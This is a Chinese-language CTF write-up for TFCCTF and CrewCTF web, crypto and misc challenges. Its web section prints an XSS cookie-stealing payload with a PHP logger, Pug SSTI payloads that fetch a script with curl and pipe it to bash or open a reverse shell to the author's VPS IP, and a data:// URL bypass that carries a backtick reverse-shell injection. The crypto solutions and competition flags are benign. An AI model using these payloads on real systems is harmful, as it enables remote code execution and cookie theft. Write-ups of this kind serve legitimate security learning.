TFCCTF

https://ctf.thefewchosen.com

Web

GREETINGS

一开始感觉可以xss,因为body标签可以用

<body onload=alert(`ls`);>

然后,在vps上放置一个xss.php

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

<body onload="window.location.href='http://8.138.168.65/xss.php?cookie='+document.cookie">
一试,没鬼用,莫得反应,那就不是xss

群里的师傅做出来了,Orz,是pug ssti,一开始也注意到了X-Powered-By: ExpressExpressnode.jsWeb框架的一种,而Express框架中最常用的两个视图引擎是PugEJS,这个确实没怎么接触

测试发现%23{7*7},可以被解析为49,确定为pug ssti
师傅给了一篇参考文章
https://www.hackingloops.com/ssti-in-pug/

payload大全
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#pugjs-nodejs

%23{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 8.138.168.65:443/bash.html | bash')}()}

%23{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('bash -c "bash -i >& /dev/tcp/8.138.168.65/443 0>&1"')}()}

payload1,在自己的vps/var/www/html,新建了bash.html,内容为bash -i >& /dev/tcp/8.138.168.65/443 0>&1
前提是你的vps部署了部署LNMP环境(我的是阿里云ESC),可参考官方文档https://help.aliyun.com/zh/ecs/use-cases/build-an-lnmp-stack-on-a-ubuntu-instance?spm=a2c4g.11186623.0.i5#prereq-ljy-05c-i3m

如果你的配置和我一样,请注意上图,要把php7.4-fpm.sock,改为php8.1-fpm.sock,反正我什么步骤都没错,就这里看漏眼了,没改,因为我们后面安装php的时候,安装的是php8.1,而Nginx默认的配置文件显示的是7.4

然后,payload2的情况

不知道哪里出问题了

然后,反弹shell,也有免费的vps,具体使用体验我不清楚,反正我是自费的

https://cat.flag.sh
http://ceye.io/

SAFE_CONTENT

源码

<?php
function isAllowedIP($url, $allowedHost) {
$parsedUrl = parse_url($url);
if (!$parsedUrl || !isset($parsedUrl['host'])) {
return false;
}
return $parsedUrl['host'] === $allowedHost;
}
function fetchContent($url) {
$context = stream_context_create([
'http' => [
'timeout' => 5 // Timeout in seconds
]
]);
$content = @file_get_contents($url, false, $context);
if ($content === FALSE) {
$error = error_get_last();
throw new Exception("Unable to fetch content from the URL. Error: " . $error['message']);
}
return base64_decode($content);
}
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['url'])) {
$url = $_GET['url'];
$allowedIP = 'localhost';
if (isAllowedIP($url, $allowedIP)) {
$content = fetchContent($url);
// file upload removed due to security issues
if ($content) {
$command = 'echo ' . $content . ' | base64 > /tmp/' . date('YmdHis') . '.tfc';
exec($command . ' > /dev/null 2>&1');
// this should fix it
}
}
}
?>

关注到这个

$content = fetchContent($url);
$command = 'echo ' . $content . ' | base64 > /tmp/' . date('YmdHis') . '.tfc';
exec($command . ' > /dev/null 2>&1');

exec函数无回显,有echo通过反引号实现命令执行,我们可以直接反弹shell

还有这个

function fetchContent($url) {
$context = stream_context_create([
'http' => [
'timeout' => 5 // Timeout in seconds
]
]);
$content = @file_get_contents($url, false, $context);
if ($content === FALSE) {
$error = error_get_last();
throw new Exception("Unable to fetch content from the URL. Error: " . $error['message']);
}
return base64_decode($content);
}

说明$content的内容需要经过base64编码

And this

function isAllowedIP($url, $allowedHost) {
$parsedUrl = parse_url($url);
if (!$parsedUrl || !isset($parsedUrl['host'])) {
return false;
}
return $parsedUrl['host'] === $allowedHost;
}

parse_url — 解析 URL,返回其组成部分$allowedIP = 'localhost';说明$url的域名要等于localhost

有不少关于它绕过的介绍,https://www.cnblogs.com/Lee-404/p/12826352.html

有这样的形式://localhost,我们很容易想到php伪协议中的,data://text/plain,xxx

于是有了下面的payload,原来还能data://localhost/text/plain这样用,学到了

`bash -c 'bash -i >& /dev/tcp/8.138.168.65/443 0>&1'`

/?url=data://localhost/text/plain,payload,payload是上面base64编码后的结果

Crypto

CCCCC

5c4c4c6c4c3c4c3c5c4c4c6c7cbc6c3c7c3c6c8c6cfc7c5c7c4c5cfc6c3c6cfc7c5c7c4c5cfc6c3c7c4c3c0c5cfc6c3c6cdc7c9c5cfc6c3c6c2c3c0c7c9c5cfc6c3c3c4c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c4c6cfc6c7c5cfc6c3c6c1c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c3c3c4c3c7c7cdc0ca
很像16进制,但每两位都是以c结尾,把c去掉试试
5446434354467b6373686f75745f636f75745f6374305f636d795f636230795f63346e645f636d795f63646f675f63616e645f636d795f636334377d0a
得到TFCCTF{cshout_cout_ct0_cmy_cb0y_c4nd_cmy_cdog_cand_cmy_cc47}

GENETICS

CCCA CACG CAAT CAAT CCCA CACG CTGT ATAC CCTT CTCT ATAC CGTA CGTA CCTT CGCT ATAT CTCA CCTT CTCA CGGA ATAC CTAT CCTT ATCA CTAT CCTT ATCA CCTT CTCA ATCA CTCA CTCA ATAA ATAA CCTT CCCG ATAT CTAG CTGC CCTT CTAT ATAA ATAA CGTG CTTC
CCCACACGCAATCAATCCCACACGCTGTATACCCTTCTCTATACCGTACGTACCTTCGCTATATCTCACCTTCTCACGGAATACCTATCCTTATCACTATCCTTATCACCTTCTCAATCACTCACTCAATAAATAACCTTCCCGATATCTAGCTGCCCTTCTATATAAATAACGTGCTTC

去掉空格,随波逐流,或者ToolsFx三位一组解密
vezdq2rgEZfFDZfSBf0Nm4rFDgGXC291C291x4q1DhqWmf0wm4j6x4mWmg60
这个暂时不知道有没有解,md,真的工具用多了,下次再也不梭了


这次记住了,ACGT,作为一个物化地选手,老是记得是ATCG,觉得好顺口

s = 'CCCA CACG CAAT CAAT CCCA CACG CTGT ATAC CCTT CTCT ATAC CGTA CGTA CCTT CGCT ATAT CTCA CCTT CTCA CGGA ATAC CTAT CCTT ATCA CTAT CCTT ATCA CCTT CTCA ATCA CTCA CTCA ATAA ATAA CCTT CCCG ATAT CTAG CTGC CCTT CTAT ATAA ATAA CGTG CTTC'
dict = {'A': '00', 'C': '01', 'G': '10', 'T': '11', ' ': ''}
flag = ''
for i in s:
flag += dict[i]
for i in range(0, len(flag), 8):
print(chr(int(flag[i:i+8], 2)), end='')

CONWAY

from secret import generate_next_key, flag
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

initial = 11131221131211131231121113112221121321132132211331222113112211

initial = generate_next_key(initial)
print(initial)

initial = generate_next_key(initial)
h = hashlib.sha256()
h.update(str(initial).encode())
key = h.digest()

cipher = AES.new(key, AES.MODE_ECB)
print(cipher.encrypt(pad(flag.encode(),16)).hex())

# 311311222113111231131112132112311321322112111312211312111322212311322113212221
# f143845f3c4d9ad024ac8f76592352127651ff4d8c35e48ca9337422a0d7f20ec0c2baf530695c150efff20bbc17ca4c

conway Sequences,康威序列,我们需要找题目所给的下一个

import hashlib
from Crypto.Cipher import AES
from Crypto.Util.number import *

initial = 132113213221133112132113311211131221121321131211132221123113112221131112311332111213211322211312113211
h = hashlib.sha256()
h.update(str(initial).encode())
key = h.digest()
cipher = AES.new(key, AES.MODE_ECB)
enc = 0xf143845f3c4d9ad024ac8f76592352127651ff4d8c35e48ca9337422a0d7f20ec0c2baf530695c150efff20bbc17ca4c
print(cipher.decrypt(long_to_bytes(enc)))

Misc

RULES

DISCORD SHENANIGANS V4

机器人说了flag就在这里,但是你直接复制它的话是没有反应的
选择右键复制,即可得到

I'm sure it's here somewhere. ||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​|| _ _ _ _ _ _  add this to the format: zoo_wee_mama

TFCCTF{zoo_wee_mama}

CrewCTF

https://2024.crewc.tf/challenges

Web

Malkonkordo()

一个Markdown编辑器,可以看到渲染内容
但是用Rust写的。。。做牛魔

Crypto

4ES

题目

#!/usr/bin/env python3
from hashlib import sha256
from random import choices
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
with open('flag.txt', 'rb') as f:
FLAG = f.read().strip()
chars = b'crew_AES*4=$!?'
L = 3
w, x, y, z = (
bytes(choices(chars, k=L)),
bytes(choices(chars, k=L)),
bytes(choices(chars, k=L)),
bytes(choices(chars, k=L)),
)
k1 = sha256(w).digest()
k2 = sha256(x).digest()
k3 = sha256(y).digest()
k4 = sha256(z).digest()
print(w.decode(), x.decode(), y.decode(), z.decode())
pt = b'AES_AES_AES_AES!'
ct = AES.new(k4, AES.MODE_ECB).encrypt(
AES.new(k3, AES.MODE_ECB).encrypt(
AES.new(k2, AES.MODE_ECB).encrypt(
AES.new(k1, AES.MODE_ECB).encrypt(
pt
)
)
)
)
key = sha256(w + x + y + z).digest()
enc_flag = AES.new(key, AES.MODE_ECB).encrypt(pad(FLAG, AES.block_size))
with open('output.txt', 'w') as f:
f.write(f'pt = {pt.hex()}\nct = {ct.hex()}\nenc_flag = {enc_flag.hex()}')

一开始无脑选择了直接爆破,总结果1412=5669391237529614^{12}=56693912375296,淦,时间上要跑很久,而且中途我还断了几次
后面有师傅做出来了,一看中间相遇攻击,好家伙,很熟悉但自己没搞过
一搜,还真发现跟3DES的情况类似,也是适用于中间相遇攻击,空间换时间
ct=Ek4(Ek3(Ek2(Ek1(pt))))ct=E_{k4}(E_{k3}(E_{k2}(E_{k1}(pt))))
pt=Dk1(Dk2(Dk3(Dk4(ct))))pt=D_{k1}(D_{k2}(D_{k3}(D_{k4}(ct))))
Ek1(Ek2(pt))=Dk3(Dk4(ct))E_{k1}(E_{k2}(pt))=D_{k3}(D_{k4}(ct))
相关介绍
https://www.cnblogs.com/weikunpeng/p/14231224.html
https://ctf-wiki.org/crypto/attack-summary/meet-in-the-middle/
然后,自己也写了一个脚本,有点笨笨的(),解出来发现不对,一看,w和x反了,一开始还不知道为什么,写wp,发现上面写反了,应该是Ek2(Ek1(pt))=Dk3(Dk4(ct))E_{k2}(E_{k1}(pt))=D_{k3}(D_{k4}(ct)),还好是ECB mode,没什么影响,交换w和x就行了

from Crypto.Util.number import *
from hashlib import sha256
from Crypto.Cipher import AES
pt = 0x4145535f4145535f4145535f41455321
ct = 0xedb43249be0d7a4620b9b876315eb430
enc_flag = 0xe5218894e05e14eb7cc27dc2aeed10245bfa4426489125a55e82a3d81a15d18afd152d6c51a7024f05e15e1527afa84b
pt = long_to_bytes(pt)
ct = long_to_bytes(ct)
enc_flag = long_to_bytes(enc_flag)
x = b'A?S'
w = b'_c*'
# w=b'A?S' x=b'_c*'
y = b'c=e'
z = b'A_*'
key = sha256(w + x + y + z).digest()
print(AES.new(key, AES.MODE_ECB).decrypt(enc_flag))
# chars = b'crew_AES*4=$!?'
# list = []
# for i in range(14):
# for j in range(14):
# for k in range(14):
# list.append(chars[i:i+1]+chars[j:j+1]+chars[k:k+1])
# print(len(list))
# res = b'\xb7\xe25\x0c\xa5N\xban;\xf1\xd7\xa5Cn\xf85'
# E_k1_k2_pt = []
# for w in list:
# for x in list:
# k1 = sha256(w).digest()
# k2 = sha256(x).digest()
# if res == AES.new(k1, AES.MODE_ECB).encrypt(
# AES.new(k2, AES.MODE_ECB).encrypt(pt)):
# print(w, x)
# break
# # E_k1_k2_pt.append(AES.new(k1, AES.MODE_ECB).encrypt(
# # AES.new(k2, AES.MODE_ECB).encrypt(pt)))
# print(len(E_k1_k2_pt))
# D_k3_k4_ct = []
# for y in list:
# for z in list:
# k3 = sha256(y).digest()
# k4 = sha256(z).digest()
# if res == AES.new(k3, AES.MODE_ECB).decrypt(
# AES.new(k4, AES.MODE_ECB).decrypt(ct)):
# print(y, z)
# break
# # D_k3_k4_ct.append(AES.new(k3, AES.MODE_ECB).decrypt(
# # AES.new(k4, AES.MODE_ECB).decrypt(ct)))
# # print(len(D_k3_k4_ct))
# # res = set(E_k1_k2_pt) & set(D_k3_k4_ct)
# # print(res)

b'crew{m1tm_at74cK_1s_g0lD_4nd_py7h0n_i5_sl0w!!}\x02\x02'

Read between the lines()

题目

#!/usr/bin/env python3
from random import shuffle
from Crypto.Util.number import getPrime
with open('flag.txt', 'rb') as f:
FLAG = f.read().strip()
assert len(FLAG) < 100
encoded_flag = []
for i, b in enumerate(FLAG):
encoded_flag.extend([i + 0x1337] * b)
shuffle(encoded_flag)
e = 65537
p, q = getPrime(1024), getPrime(1024)
n = p * q
c = sum(pow(m, e, n) for m in encoded_flag) % n
with open('output.txt', 'w') as f:
f.write(f'{n = }\n{e = }\n{c = }\n')

加密过程很简单,但没什么可行的思路,在努力看懂师傅的wping

Misc

这个比赛的杂项,不好评价。。。反正不适合我